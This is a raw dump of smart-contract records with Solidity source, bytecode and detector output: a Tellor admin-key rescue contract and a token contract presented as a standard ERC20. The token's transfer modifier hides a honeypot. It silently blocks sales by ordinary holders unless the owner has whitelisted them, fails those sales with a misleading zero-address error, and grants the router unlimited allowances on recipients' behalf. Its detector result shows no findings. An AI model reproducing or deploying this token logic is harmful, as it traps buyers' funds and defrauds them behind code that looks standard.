mapping(bytes32 => mapping(address => bool)) public minersByChallenge; Details[5] public currentMiners; //This struct is for organizing the five mined values to find the median mapping(address => StakeInfo) stakerDetails; //mapping from a persons address to their staking info mapping(uint256 => Request) requestDetails; mapping(bytes32 => uint256) public uints; mapping(bytes32 => address) public addresses; mapping(bytes32 => bytes32) public bytesVars; //ERC20 storage mapping(address => Checkpoint[]) public balances; mapping(address => mapping(address => uint256)) public _allowances; //Migration storage mapping(address => bool) public migrated; } // File contracts/Parachute.sol //SPDX-License-Identifier: Unlicense contract Parachute is TellorStorage { address constant tellorMaster = 0x88dF592F8eb5D7Bd38bFeF7dEb0fBc02cf3778a0; address constant multis = 0x39E419bA25196794B595B2a595Ea8E527ddC9856; bytes32 challenge; uint256 challengeUpdate; /** * @dev Use this function to end parachutes ability to reinstate Tellor's admin key */ function killContract() external { require(msg.sender == multis,"only multis wallet can call this"); ITellor(tellorMaster).changeDeity(address(0)); } /** * @dev This function allows the Tellor Team to migrate old TRB token to the new one * @param _destination is the destination adress to migrate tokens to * @param _amount is the amount of tokens to migrate */ function migrateFor(address _destination,uint256 _amount) external { require(msg.sender == multis,"only multis wallet can call this"); ITellor(tellorMaster).transfer(_destination, _amount); } /** * @dev This function allows the Tellor community to reinstate and admin key if an attacker * is able to get 51% or more of the total TRB supply. * @param _tokenHolder address to check if they hold more than 51% of TRB */ function rescue51PercentAttack(address _tokenHolder) external { require( ITellor(tellorMaster).balanceOf(_tokenHolder) * 100 / ITellor(tellorMaster).totalSupply() >= 51, "attacker balance is < 51% of total supply" ); ITellor(tellorMaster).changeDeity(multis); } /** * @dev Allows the TellorTeam to reinstate the admin key if a long time(timeBeforeRescue) * has gone by without a value being added on-chain */ function rescueBrokenDataReporting() external { bytes32 _newChallenge; (_newChallenge,,,) = ITellor(tellorMaster).getNewCurrentVariables(); if(_newChallenge == challenge){ if(block.timestamp - challengeUpdate > 7 days){ ITellor(tellorMaster).changeDeity(multis); } } else{ challenge = _newChallenge; challengeUpdate = block.timestamp; } } /** * @dev Allows the Tellor community to reinstate the admin key if tellor is updated * to an invalid address. */ function rescueFailedUpdate() external { (bool success, bytes memory data) = address(tellorMaster).call( abi.encodeWithSelector(0xfc735e99, "") //verify() signature ); uint _val; if(data.length > 0){ _val = abi.decode(data, (uint256)); } require(!success || _val < 2999,"new tellor is valid"); ITellor(tellorMaster).changeDeity(multis); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80634ba0a5ee116100a25780637c564a6a116100715780637c564a6a146102ab578063b59e14d4146102b3578063cbf1304d146102d3578063d01f4d9e14610306578063db085beb146103265761010b565b80634ba0a5ee146102075780635700242c1461022a57806362dd1d2a1461024a578063699f200f1461026a5761010b565b806332701403116100de578063327014031461019b578063335f8dd4146101a3578063438c0aa3146101b657806348b18e54146101c95761010b565b8063024c2ddd146101105780630b4775731461014e5780631c02708d146101635780631fd223641461016b575b600080fd5b61013b61011e366004610b63565b604a60209081526000928352604080842090915290825290205481565b6040519081526020015b60405180910390f35b61016161015c366004610b95565b6103df565b005b6101616104e0565b61017e610179366004610bde565b6105aa565b604080519283526001600160a01b03909116602083015201610145565b6101616105d5565b6101616101b1366004610b42565b610785565b61013b6101c4366004610bde565b610987565b6101f76101d7366004610bf6565b603960209081526000928352604080842090915290825290205460ff1681565b6040519015158152602001610145565b6101f7610215366004610b42565b604b6020526000908152604090205460ff1681565b61013b610238366004610bde565b60376020526000908152604090205481565b61013b610258366004610bde565b60486020526000908152604090205481565b610293610278366004610bde565b6047602052600090815260409020546001600160a01b031681565b6040516001600160a01b039091168152602001610145565b6101616109a8565b61013b6102c1366004610bde565b60466020526000908152604090205481565b6102e66102e1366004610b95565b610ae3565b604080516001600160801b03938416815292909116602083015201610145565b61013b610314366004610bde565b60386020526000908152604090205481565b610390610334366004610bde565b603660205260009081526040902080546001820154600283015460038401546004909401549293919260ff808316936101008404821693620100008104909216926001600160a01b036301000000909304831692918216911688565b604080519889526020890197909752941515958701959095529115156060860152151560808501526001600160a01b0390811660a085015291821660c08401521660e082015261010001610145565b337339e419ba25196794b595b2a595ea8e527ddc9856146104475760405162461bcd60e51b815260206004820181905260248201527f6f6e6c79206d756c7469732077616c6c65742063616e2063616c6c207468697360448201526064015b60405180910390fd5b60405163a9059cbb60e01b81526001600160a01b0383166004820152602481018290527388df592f8eb5d7bd38bfef7deb0fbc02cf3778a09063a9059cbb90604401602060405180830381600087803b1580156104a357600080fd5b505af11580156104b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104db9190610bbe565b505050565b337339e419ba25196794b595b2a595ea8e527ddc9856146105435760405162461bcd60e51b815260206004820181905260248201527f6f6e6c79206d756c7469732077616c6c65742063616e2063616c6c2074686973604482015260640161043e565b6040516347abd7f160e01b8152600060048201527388df592f8eb5d7bd38bfef7deb0fbc02cf3778a0906347abd7f190602401600060405180830381600087803b15801561059057600080fd5b505af11580156105a4573d6000803e3d6000fd5b50505050565b603a81600581106105ba57600080fd5b6002020180546001909101549091506001600160a01b031682565b6000807388df592f8eb5d7bd38bfef7deb0fbc02cf3778a06001600160a01b031663fc735e9960405160240161061690602080825260009082015260400190565b6040516020818303038152906040529060e01b6020820180516001600160e01b03838183161783525050505060405161064f9190610ccb565b6000604051808303816000865af19150503d806000811461068c576040519150601f19603f3d011682016040523d82523d6000602084013e610691565b606091505b5091509150600080825111156106b857818060200190518101906106b59190610cb3565b90505b8215806106c65750610bb781105b6107085760405162461bcd60e51b81526020600482015260136024820152721b995dc81d195b1b1bdc881a5cc81d985b1a59606a1b604482015260640161043e565b6040516347abd7f160e01b81527339e419ba25196794b595b2a595ea8e527ddc985660048201527388df592f8eb5d7bd38bfef7deb0fbc02cf3778a0906347abd7f190602401600060405180830381600087803b15801561076857600080fd5b505af115801561077c573d6000803e3d6000fd5b50505050505050565b60337388df592f8eb5d7bd38bfef7deb0fbc02cf3778a06001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d457600080fd5b505afa1580156107e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080c9190610cb3565b6040516370a0823160e01b81526001600160a01b03841660048201527388df592f8eb5d7bd38bfef7deb0fbc02cf3778a0906370a082319060240160206040518083038186803b15801561085f57600080fd5b505afa158015610873573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108979190610cb3565b6108a2906064610d24565b6108ac9190610d04565b101561090c5760405162461bcd60e51b815260206004820152602960248201527f61747461636b65722062616c616e6365206973203c20353125206f6620746f74604482015268616c20737570706c7960b81b606482015260840161043e565b6040516347abd7f160e01b81527339e419ba25196794b595b2a595ea8e527ddc985660048201527388df592f8eb5d7bd38bfef7deb0fbc02cf3778a0906347abd7f190602401600060405180830381600087803b15801561096c57600080fd5b505af1158015610980573d6000803e3d6000fd5b5050505050565b6033818154811061099757600080fd5b600091825260209091200154905081565b60007388df592f8eb5d7bd38bfef7deb0fbc02cf3778a06001600160a01b0316634049f1986040518163ffffffff1660e01b81526004016101006040518083038186803b1580156109f857600080fd5b505afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a309190610c18565b5050604c5491925050811415610ad65762093a80604d5442610a529190610d43565b1115610ad1576040516347abd7f160e01b81527339e419ba25196794b595b2a595ea8e527ddc985660048201527388df592f8eb5d7bd38bfef7deb0fbc02cf3778a0906347abd7f190602401600060405180830381600087803b158015610ab857600080fd5b505af1158015610acc573d6000803e3d6000fd5b505050505b610ae0565b604c81905542604d555b50565b60496020528160005260406000208181548110610aff57600080fd5b6000918252602090912001546001600160801b038082169350600160801b90910416905082565b80356001600160a01b0381168114610b3d57600080fd5b919050565b600060208284031215610b53578081fd5b610b5c82610b26565b9392505050565b60008060408385031215610b75578081fd5b610b7e83610b26565b9150610b8c60208401610b26565b90509250929050565b60008060408385031215610ba7578182fd5b610bb083610b26565b946020939093013593505050565b600060208284031215610bcf578081fd5b81518015158114610b5c578182fd5b600060208284031215610bef578081fd5b5035919050565b60008060408385031215610c08578182fd5b82359150610b8c60208401610b26565b6000806000806101008587031215610c2e578182fd5b84519350602086603f870112610c42578283fd5b60405160a0810181811067ffffffffffffffff82111715610c6557610c65610d70565b6040528087830160c089018a811115610c7c578687fd5b865b6005811015610c9b57825184529285019291850191600101610c7e565b505160e09990990151979a9299509195505050505050565b600060208284031215610cc4578081fd5b5051919050565b60008251815b81811015610ceb5760208186018101518583015201610cd1565b81811115610cf95782828501525b509190910192915050565b600082610d1f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610d3e57610d3e610d5a565b500290565b600082821015610d5557610d55610d5a565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea264697066735822122084fcfafeca1af1ab99ccb1e35fe3f55d73d7af09028b3abd50c3e84b4663f82664736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,893
0x93ae110c7ebad5ecc7bd52963a3641a3cc26fbe4
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_ARTX(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122012de7b0fdf50a9a0e20ba15165674bebffc6f79002618eb73ebea7abd195efad64736f6c63430006060033
{"success": true, "error": null, "results": {}}
5,894
0x0aafcb323a70e9c590cd9577160F9B3fd16D4ab6
